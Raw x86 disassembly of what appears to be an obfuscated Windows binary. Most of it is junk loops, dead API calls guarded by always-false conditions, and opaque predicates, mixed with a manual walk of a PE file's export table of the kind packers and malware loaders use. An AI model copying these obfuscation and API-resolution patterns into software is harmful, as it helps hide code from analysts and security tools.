mov ecx, dword [ebp - 0x86c]
mov dword [eax], ecx
mov byte [ebp - 0x188], 0
mov dword [ebp - 0x874], 0x3235
mov dword [ebp - 0x1248], 0x1000a478
cmp dword [ebp - 0x874], 0x35d1
jle 0x10042b29
and dword [ebp - 0x294], 0
jmp 0x10042a8c
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x7538
jge 0x10042b29
and dword [ebp - 0x348], 0
jmp 0x10042ab2
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0x4520
jge 0x10042b24
mov eax, dword [ebp - 0x294]
cdq
idiv dword [ebp - 0x348]
mov eax, edx
cdq
mov dword [ebp - 0x1304], eax
mov dword [ebp - 0x1300], edx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 0x1924], eax
push dword [ebp - 0x1300]
push dword [ebp - 0x1304]
lea ecx, [ebp - 0x1ea0]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x1608], eax
mov ecx, dword [ebp - 0x1608]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1ea0]
call fcn.100252df
jmp 0x10042aa5
jmp 0x10042a7f
movzx eax, byte [ebp - 0x188]
test eax, eax
je 0x10042b42
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_AppendMenuW]
cmp dword [ebp - 0x874], 0x313c
jge 0x10042b5a
push dword [ebp - 0x1248]
call fcn.1008287d
pop ecx
jmp 0x10042505
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x16a4]
call fcn.1002557b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf38]
call fcn.1002557b
mov eax, dword [ebp - 0x228]
cmp dword [eax], 0x4550
jne 0x10048aa5
mov eax, dword [ebp - 0x228]
cmp dword [eax + 0x74], 0
jbe 0x10048aa5
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x228]
cmp dword [ecx + eax + 0x78], 0
je 0x10048aa5
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x19c], 1
mov dword [ebp - 0x1278], 0xcadfb1af
mov dword [ebp - 0x88c], 1
mov dword [ebp - 0x6fc], 0xb56cef3
push 1
lea ecx, [ebp - 0x15cc]
call fcn.100254f9
mov dword [ebp - 4], 0x25
mov dword [ebp - 0x350], 0
jmp 0x10042c14
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 1
jge 0x10042c36
push dword [ebp - 0x350]
lea ecx, [ebp - 0x15cc]
call fcn.10025597
mov dword [eax], 0xdc1094d0
jmp 0x10042c07
mov byte [ebp - 0x18a], 0
movzx eax, byte [ebp - 0x18a]
test eax, eax
je 0x10042c50
push 0
call dword [sym.imp.USER32.dll_RegisterClassA]
mov dword [ebp - 0x19c], 0x12
jmp 0x10042c69
mov eax, dword [ebp - 0x19c]
dec eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0xffffffec
jne 0x1004319f
mov dword [ebp - 0x1a4], 0x7ad95e17
mov dword [ebp - 0x6f4], 0x9d87263b
mov dword [ebp - 0x192c], 0x811fc80a
mov dword [ebp - 0x8cc], 0xfffffffc
mov dword [ebp - 0x126c], 0x83e731e7
push 1
lea ecx, [ebp - 0x1704]
call fcn.100254f9
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x750], 0x6660b256
mov dword [ebp - 0x8d4], 0xfbc7
mov dword [ebp - 0x14e0], 0xca6f77a3
mov dword [ebp - 0x87c], 0x604f
mov dword [ebp - 0x1254], 0x1000a4c8
cmp dword [ebp - 0x87c], 0x6317
jle 0x10042de3
and dword [ebp - 0x358], 0
jmp 0x10042d11
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0x46be
jge 0x10042de3
and dword [ebp - 0x360], 0
jmp 0x10042d37
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0x45f3
jge 0x10042dde
and dword [ebp - 0x368], 0
jmp 0x10042d5d
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0x5016
jge 0x10042dd9
mov eax, dword [ebp - 0x358]
imul eax, dword [ebp - 0x360]
cdq
idiv dword [ebp - 0x368]
mov eax, edx
cdq
mov dword [ebp - 0x1310], eax
mov dword [ebp - 0x130c], edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x1934], eax
push dword [ebp - 0x130c]
push dword [ebp - 0x1310]
lea ecx, [ebp - 0x1ed0]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x14d0], eax
mov ecx, dword [ebp - 0x14d0]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1ed0]
call fcn.100252df
jmp 0x10042d50
jmp 0x10042d2a
jmp 0x10042d04
cmp dword [ebp - 0x87c], 0x5de4
jge 0x10042dfb
push dword [ebp - 0x1254]
call fcn.1008287d
pop ecx
mov dword [ebp - 0x370], 0
jmp 0x10042e14
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 1
jge 0x10042e36
push dword [ebp - 0x370]
lea ecx, [ebp - 0x1704]
call fcn.10025597
mov dword [eax], 2
jmp 0x10042e07
mov dword [ebp - 0x1a4], 0xffffffe4
jmp 0x10042e4f
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0xffffffe6
jle 0x100430bd
mov dword [ebp - 0x1670], 0x5596
mov dword [ebp - 0x166c], 0x5596
mov dword [ebp - 0x1668], 0x5596
mov dword [ebp - 0x1664], 0x5596
mov dword [ebp - 0x894], 0x5db5a26c
mov dword [ebp - 0x1604], 0x268dd2ac
cmp dword [ebp - 0x19c], 0
jne 0x10042ed7
mov eax, dword [ebp - 0x750]
mov ecx, dword [ebp - 0x750]
inc ecx
mov dword [ebp - 0x750], ecx
test eax, eax
je 0x10042ece
push 0
lea ecx, [ebp - 0x15cc]
call fcn.10025597
mov eax, dword [eax]
sub eax, 0xd0294e
jne 0x10042ed7
and dword [ebp - 0x15b0], 0
jmp 0x10042ee1
mov dword [ebp - 0x15b0], 1
push 4
pop eax
imul eax, eax, 3
push 4
pop ecx
imul ecx, ecx, 3
mov ecx, dword [ebp + ecx - 0x1670]
cmp dword [ebp + eax - 0x1670], ecx
jne 0x10042f09
mov dword [ebp - 0x1260], 1
jmp 0x10042f10
and dword [ebp - 0x1260], 0
push 0
lea ecx, [ebp - 0x15cc]
call fcn.10025597
cmp dword [eax], 0xc84
jl 0x10042f31
mov dword [ebp - 0x884], 1
jmp 0x10042f38
and dword [ebp - 0x884], 0
mov eax, dword [ebp - 0x884]
mov dword [ebp - 0x88c], eax
mov eax, dword [ebp - 0x88c]
add eax, 0x4e0ca927
mov dword [ebp - 0x894], eax
mov eax, dword [ebp - 0x894]
imul eax, dword [ebp - 0x6fc]
cmp eax, 0x239f
jg 0x10042f75
mov dword [ebp - 0x89c], 1
jmp 0x10042f7c
and dword [ebp - 0x89c], 0
mov eax, dword [ebp - 0x1a4]
cmp eax, dword [ebp - 0x89c]
jge 0x10042f96
mov dword [ebp - 0x14d8], 1
jmp 0x10042f9d
and dword [ebp - 0x14d8], 0
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x193c], eax
mov eax, dword [ebp - 0x8cc]
mov dword [ebp - 0x1944], eax
mov eax, dword [ebp - 0x8d4]
neg eax
cmp eax, dword [ebp - 0x1a4]
jg 0x10042fd1
mov dword [ebp - 0x8a4], 1
jmp 0x10042fd8
and dword [ebp - 0x8a4], 0
push 0
lea ecx, [ebp - 0x1704]
call fcn.10025597
mov ecx, dword [ebp - 0x8a4]
cmp ecx, dword [eax]
jl 0x10042ffb
mov dword [ebp - 0x8ac], 1
jmp 0x10043002
and dword [ebp - 0x8ac], 0
mov eax, dword [ebp - 0x8ac]
sub eax, dword [ebp - 0x126c]
cmp eax, 0xffffffff
jl 0x1004301f
mov dword [ebp - 0x6f0], 1
jmp 0x10043026
and dword [ebp - 0x6f0], 0
push 0
lea ecx, [ebp - 0x15cc]
call fcn.10025597
mov ecx, dword [ebp - 0x6f0]
mov dword [eax], ecx
cmp dword [ebp - 0x6f0], 0x44fa7555
jl 0x10043053
mov dword [ebp - 0x8b4], 1
jmp 0x1004305a
and dword [ebp - 0x8b4], 0
mov eax, dword [ebp - 0x1604]
cmp dword [ebp - 0x8b4], eax
jg 0x10043074
mov dword [ebp - 0x8bc], 1
jmp 0x1004307b
and dword [ebp - 0x8bc], 0
imul eax, dword [ebp - 0x8bc], 0x266b
cmp eax, 0x58d81c91
jl 0x10043098
mov dword [ebp - 0x8c4], 1
jmp 0x1004309f
and dword [ebp - 0x8c4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x8c4]
sub ecx, dword [ebp + eax - 0x1670]
mov dword [ebp - 0x6f4], ecx
jmp 0x10042e42
push 0
lea ecx, [ebp - 0x1704]
call fcn.10025597
cmp dword [eax], 0x2983
jl 0x100430de
mov dword [ebp - 0x8ec], 1
jmp 0x100430e5
and dword [ebp - 0x8ec], 0
mov eax, dword [ebp - 0x8cc]
sub eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x6f4], eax
mov eax, dword [ebp - 0x6f4]
imul eax, dword [ebp - 0x8d4]
cmp eax, 0xffffffff
jg 0x10043115
mov dword [ebp - 0x8dc], 1
jmp 0x1004311c
and dword [ebp - 0x8dc], 0
mov eax, dword [ebp - 0x6fc]
cmp eax, dword [ebp - 0x8dc]
je 0x10043136
mov dword [ebp - 0x8e4], 1
jmp 0x1004313d
and dword [ebp - 0x8e4], 0
mov eax, dword [ebp - 0x1278]
cmp dword [ebp - 0x8e4], eax
jg 0x10043157
mov dword [ebp - 0x8f4], 1
jmp 0x1004315e
and dword [ebp - 0x8f4], 0
mov eax, dword [ebp - 0x8ec]
cmp eax, dword [ebp - 0x8f4]
jl 0x10043178
mov dword [ebp - 0x8fc], 1
jmp 0x1004317f
and dword [ebp - 0x8fc], 0
mov eax, dword [ebp - 0x8fc]
mov dword [ebp - 0x14e0], eax
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x1704]
call fcn.1002557b
jmp 0x10042c5c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x15cc]
call fcn.1002557b
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x228]
mov edx, dword [ebp - 0x1e4]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xe4], edx
mov dword [ebp - 0x70], 0x2e0cf572
push 2
lea ecx, [ebp - 0x181c]
call fcn.100254f9
mov dword [ebp - 4], 0x27
mov dword [ebp - 0x8c], 0
jmp 0x100431fe
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 2
jge 0x10043220
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x181c]
call fcn.10025597
mov dword [eax], 2
jmp 0x100431f1
mov dword [ebp - 0x8c], 0
jmp 0x10043239
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 3
jge 0x10043255
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x1f9c], 0x42ca8cda
jmp 0x1004322c
cmp dword [ebp - 0x70], 0
je 0x10043280
mov byte [ebp - 0x134], 0
movzx eax, byte [ebp - 0x134]
test eax, eax
je 0x1004327b
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetPixel]
jmp 0x1004331e
mov dword [ebp - 0x378], 0
jmp 0x10043299
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 2
jge 0x100432b5
mov eax, dword [ebp - 0x378]
mov dword [ebp + eax*4 - 0x1718], 0xaccb
jmp 0x1004328c
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1718], 8
mov dword [ebp - 0x70], 0
jmp 0x100432d6
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jg 0x1004331e
mov dword [ebp - 0x234], 0x5a80e358
mov dword [ebp - 0x234], 0
jmp 0x100432ff
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 1
jg 0x1004331c
mov eax, dword [ebp - 0x234]
cmp dword [ebp + eax*4 - 0x1718], 0
je 0x1004331a
jmp 0x1004331c
jmp 0x100432f2
jmp 0x100432cf
mov dword [ebp - 0x70], 0
jmp 0x1004332e
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jg 0x1004334b
push dword [ebp - 0x70]
lea ecx, [ebp - 0x181c]
call fcn.10025597
cmp dword [eax], 0
je 0x10043349
jmp 0x1004334b
jmp 0x10043327
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x181c]
call fcn.1002557b
mov eax, 0xffff
mov word [ebp - 0x98], ax
mov dword [ebp - 0x924], 0xdf5
mov dword [ebp - 0x14f0], 0x1000a530
cmp dword [ebp - 0x924], 0xf05
jle 0x1004343d
and dword [ebp - 0x380], 0
jmp 0x100433a0
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0x420e
jge 0x1004343d
and dword [ebp - 0x388], 0
jmp 0x100433c6
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 0x28ff
jge 0x10043438
mov eax, dword [ebp - 0x380]
cdq
idiv dword [ebp - 0x388]
mov eax, edx
cdq
mov dword [ebp - 0x131c], eax
mov dword [ebp - 0x1318], edx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 0x194c], eax
push dword [ebp - 0x1318]
push dword [ebp - 0x131c]
lea ecx, [ebp - 0x1f00]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x1284], eax
mov ecx, dword [ebp - 0x1284]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1f00]
call fcn.100252df
jmp 0x100433b9
jmp 0x10043393
mov dword [ebp - 0x30], 0xa4f833fc
mov dword [ebp - 0x17c], 0x29cf3083
mov dword [ebp - 0x9c], 0
jmp 0x10043467
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jge 0x10043483
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0xfd4], 0xfffffffa
jmp 0x1004345a
mov dword [ebp - 0x904], 0x4429
mov dword [ebp - 0x1290], 0x1000a588
cmp dword [ebp - 0x904], 0x4514
jle 0x100435c1
and dword [ebp - 0x390], 0
jmp 0x100434bd
mov eax, dword [ebp - 0x390]
inc eax
mov dword [ebp - 0x390], eax
cmp dword [ebp - 0x390], 0x419a
jge 0x100435c1
and dword [ebp - 0x398], 0
jmp 0x100434e3
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 0x4558
jge 0x100435bc
and dword [ebp - 0x3a0], 0
jmp 0x10043509
mov eax, dword [ebp - 0x3a0]
inc eax
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x3a0], 0x1624
jge 0x100435b7
and dword [ebp - 0x3a8], 0
jmp 0x1004352f
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0x3c9b
jge 0x100435b2
mov eax, dword [ebp - 0x390]
mov ecx, dword [ebp - 0x398]
shl eax, cl
mov ecx, dword [ebp - 0x3a0]
and ecx, dword [ebp - 0x3a8]
xor eax, ecx
cdq
mov dword [ebp - 0x1328], eax
mov dword [ebp - 0x1324], edx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov word [ebp - 0x1448], ax
push dword [ebp - 0x1324]
push dword [ebp - 0x1328]
lea ecx, [ebp - 0x1f30]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x15c0], eax
mov ecx, dword [ebp - 0x15c0]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1f30]
call fcn.100252df
jmp 0x10043522
jmp 0x100434fc
jmp 0x100434d6
jmp 0x100434b0
mov dword [ebp - 0x9c], 0
jmp 0x100435da
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 4
jge 0x100435f6
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0x1cac], 0x283d1f0d
jmp 0x100435cd
cmp dword [ebp - 0x904], 0x42c3
jge 0x1004360e
push dword [ebp - 0x1290]
call fcn.1008287d
pop ecx
mov dword [ebp - 0x30], 0
jmp 0x1004361e
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jg 0x100437cf
mov dword [ebp - 0x129c], 0x3e76e5b1
mov dword [ebp - 0x12a8], 0xef7d2668
mov dword [ebp - 0x3b0], 0
jmp 0x10043655
mov eax, dword [ebp - 0x3b0]
inc eax
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 2
jge 0x10043671
mov eax, dword [ebp - 0x3b0]
mov dword [ebp + eax*4 - 0x768], 1
jmp 0x10043648
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x768], 2
jmp 0x1004369f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x768]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x768], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x768], 0
jl 0x100437ca
mov eax, dword [ebp - 0x30]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x768]
cmp dword [ebp + eax*4 - 0xfd4], ecx
jg 0x100436d8
mov dword [ebp - 0x90c], 1
jmp 0x100436df
and dword [ebp - 0x90c], 0
mov eax, dword [ebp - 0x90c]
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x30], 0x5e790e86
je 0x10043700
mov dword [ebp - 0x914], 1
jmp 0x10043707
and dword [ebp - 0x914], 0
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0xfd4]
mov dword [ebp - 0x14e8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x768]
mov ecx, dword [ebp - 0x14e8]
mov dword [ebp + eax*4 - 0xfd4], ecx
mov eax, dword [ebp - 0x129c]
mov dword [ebp - 0x1954], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xfd4]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x768]
lea eax, [eax + ecx + 0x34cfd501]
mov ecx, dword [ebp - 0x30]
cmp eax, dword [ebp + ecx*4 - 0xfd4]
jne 0x10043775
mov dword [ebp - 0x1614], 1
jmp 0x1004377c
and dword [ebp - 0x1614], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x195c], eax
mov eax, dword [ebp - 0x914]
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x12a8]
cmp dword [ebp - 0x17c], eax
jle 0x100437ab
mov dword [ebp - 0x91c], 1
jmp 0x100437b2
and dword [ebp - 0x91c], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x91c]
mov dword [ebp + eax - 0x1cac], ecx
jmp 0x10043684
jmp 0x10043617
mov dword [ebp - 0x30], 0
jmp 0x100437df
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jg 0x100438b6
mov dword [ebp - 0x17c], 3
jmp 0x10043802
mov eax, dword [ebp - 0x17c]
dec eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0
jl 0x100438b1
mov dword [ebp - 0x3b8], 0
jmp 0x10043828
mov eax, dword [ebp - 0x3b8]
inc eax
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 2
jge 0x10043844
mov eax, dword [ebp - 0x3b8]
mov dword [ebp + eax*4 - 0xef8], 0xf23e4692
jmp 0x1004381b
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x1cac], 0
je 0x10043853
jmp 0x100438b1
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xef8], 2
jmp 0x10043881
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xef8]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xef8], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xef8], 0
jl 0x100438ac
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xef8]
cmp dword [ebp + eax*4 - 0xfd4], 0
je 0x100438aa
jmp 0x100438ac
jmp 0x10043866
jmp 0x100437f5
jmp 0x100437d8
cmp dword [ebp - 0x924], 0xba6
jge 0x100438ce
push dword [ebp - 0x14f0]
call fcn.1008287d
pop ecx
or dword [ebp - 0x1d4], 0xffffffff
mov dword [ebp - 0x92c], 0x1151
mov dword [ebp - 0x15d0], 0x1000a5b8
cmp dword [ebp - 0x92c], 0x14dd
jle 0x100439e0
and dword [ebp - 0x3d0], 0
jmp 0x1004390f
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0x32ab
jge 0x100439e0
and dword [ebp - 0x3c0], 0
jmp 0x10043935
mov eax, dword [ebp - 0x3c0]
inc eax
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 0x49b1
jge 0x100439db
and dword [ebp - 0x3c8], 0
jmp 0x1004395b
mov eax, dword [ebp - 0x3c8]
inc eax
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0x7e5e
jge 0x100439d6
mov eax, dword [ebp - 0x3c0]
cdq
idiv dword [ebp - 0x3c8]
xor edx, dword [ebp - 0x3d0]
mov eax, edx
cdq
mov dword [ebp - 0x1334], eax
mov dword [ebp - 0x1330], edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x18bc], eax
push dword [ebp - 0x1330]
push dword [ebp - 0x1334]
lea ecx, [ebp - 0x1f60]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x12b4], eax
mov ecx, dword [ebp - 0x12b4]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1f60]
call fcn.100252df
jmp 0x1004394e
jmp 0x10043928
jmp 0x10043902
mov dword [ebp - 0x3d8], 1
mov dword [ebp - 0x3d8], 0x1d
jmp 0x10043a03
mov eax, dword [ebp - 0x3d8]
dec eax
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 0xfffffffb
jg 0x10043ac0
mov dword [ebp - 0x3e0], 0x506d4441
mov dword [ebp - 0x3e0], 0
jmp 0x10043a33
mov eax, dword [ebp - 0x3e0]
inc eax
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0x10
je 0x10043abb
mov dword [ebp - 0x1c0c], 1
mov dword [ebp - 0x1c08], 1
mov dword [ebp - 0x1c04], 1
mov dword [ebp - 0x1c00], 1
mov dword [ebp - 0x3e8], 0xfa5fef9d
mov dword [ebp - 0x3e8], 0
jmp 0x10043a87
mov eax, dword [ebp - 0x3e8]
inc eax
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0x3e8], 3
jg 0x10043ab6
mov byte [ebp - 0x14c], 0
movzx eax, byte [ebp - 0x14c]
test eax, eax
je 0x10043ab4
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
jmp 0x10043a7a
jmp 0x10043a26
jmp 0x100439f6
cmp dword [ebp - 0x92c], 0xd9e
jge 0x10043ad8
push dword [ebp - 0x15d0]
call fcn.1008287d
pop ecx
cmp dword [ebp + 0x10], 0
jbe 0x10043dea
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x10043de5
push 2
lea ecx, [ebp - 0x1a7c]
call fcn.100254f9
mov dword [ebp - 4], 0x28
mov dword [ebp - 0x3f0], 0
mov dword [ebp - 0x196c], 2
mov dword [ebp - 0x944], 1
mov dword [ebp - 0xa4], 0
jmp 0x10043b3f
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 2
jge 0x10043b61
push dword [ebp - 0xa4]
lea ecx, [ebp - 0x1a7c]
call fcn.10025597
mov dword [eax], 3
jmp 0x10043b32
mov dword [ebp - 0xa4], 0
jmp 0x10043b7a
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 4
jge 0x10043b96
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0x2378], 0xfffffff6
jmp 0x10043b6d
mov dword [ebp - 0x3f0], 1
jmp 0x10043baf
mov eax, dword [ebp - 0x3f0]
dec eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 0
jl 0x10043dcb
push 2
lea ecx, [ebp - 0x15dc]
call fcn.100254f9
mov byte [ebp - 4], 0x29
mov dword [ebp - 0x1974], 0
mov dword [ebp - 0x197c], 5
mov dword [ebp - 0x1984], 0x58528353
mov dword [ebp - 0x3f8], 0
jmp 0x10043c04
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 2
jge 0x10043c23
push dword [ebp - 0x3f8]
lea ecx, [ebp - 0x15dc]
call fcn.10025597
or dword [eax], 0xffffffff
jmp 0x10043bf7
push 0
lea ecx, [ebp - 0x15dc]
call fcn.10025597
and dword [eax], 0
jmp 0x10043c59
push 0
lea ecx, [ebp - 0x15dc]
call fcn.10025597
mov dword [ebp - 0x934], eax
mov eax, dword [ebp - 0x934]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x934]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x15dc]
call fcn.10025597
cmp dword [eax], 1
jg 0x10043db7
mov dword [ebp - 0x198c], 9
mov dword [ebp - 0x1994], 0x2ab76d60
mov dword [ebp - 0x199c], 0xffffffff
mov dword [ebp - 0x19a4], 0x813a3dbc
mov dword [ebp - 0x12cc], 0xffffffff
mov dword [ebp - 0x93c], 0x2c5e
mov dword [ebp - 0x14f8], 0x1000a600
cmp dword [ebp - 0x93c], 0x2d16
jle 0x10043d75
and dword [ebp - 0x400], 0
jmp 0x10043cdb
mov eax, dword [ebp - 0x400]
inc eax
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x400], 0x3426
jge 0x10043d75
and dword [ebp - 0x408], 0
jmp 0x10043d01
mov eax, dword [ebp - 0x408]
inc eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0x79fd
jge 0x10043d70
mov eax, dword [ebp - 0x400]
and eax, dword [ebp - 0x408]
cdq
mov dword [ebp - 0x1340], eax
mov dword [ebp - 0x133c], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x19ac], eax
push dword [ebp - 0x133c]
push dword [ebp - 0x1340]
lea ecx, [ebp - 0x1f90]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x12c0], eax
mov ecx, dword [ebp - 0x12c0]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1f90]
call fcn.100252df
jmp 0x10043cf4
jmp 0x10043cce
mov dword [ebp - 0x19b4], 0xffffffff
cmp dword [ebp - 0x93c], 0x28ab
jge 0x10043d97
push dword [ebp - 0x14f8]
call fcn.1008287d
pop ecx
mov eax, dword [ebp - 0x944]
inc eax
mov dword [ebp - 0x944], eax
cmp dword [ebp - 0x12cc], 0
je 0x10043db2
jmp 0x10043c35
jmp 0x10043c35
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x15dc]
call fcn.1002557b
jmp 0x10043ba2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a7c]
call fcn.1002557b
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x98], ax
jmp 0x100472ad
mov dword [ebp - 0x94c], 0x4590
mov dword [ebp - 0x12d8], 0x1000a638
cmp dword [ebp - 0x94c], 0x4916
jle 0x10043ebf
and dword [ebp - 0x410], 0
jmp 0x10043e24
mov eax, dword [ebp - 0x410]
inc eax
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0x7943
jge 0x10043ebf
and dword [ebp - 0x418], 0
jmp 0x10043e4a
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0x3683
jge 0x10043eba
mov eax, dword [ebp - 0x410]
imul eax, dword [ebp - 0x418]
cdq
mov dword [ebp - 0x134c], eax
mov dword [ebp - 0x1348], edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x19bc], eax
push dword [ebp - 0x1348]
push dword [ebp - 0x134c]
lea ecx, [ebp - 0x1fb4]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x161c], eax
mov ecx, dword [ebp - 0x161c]
call fcn.100252e9
push eax
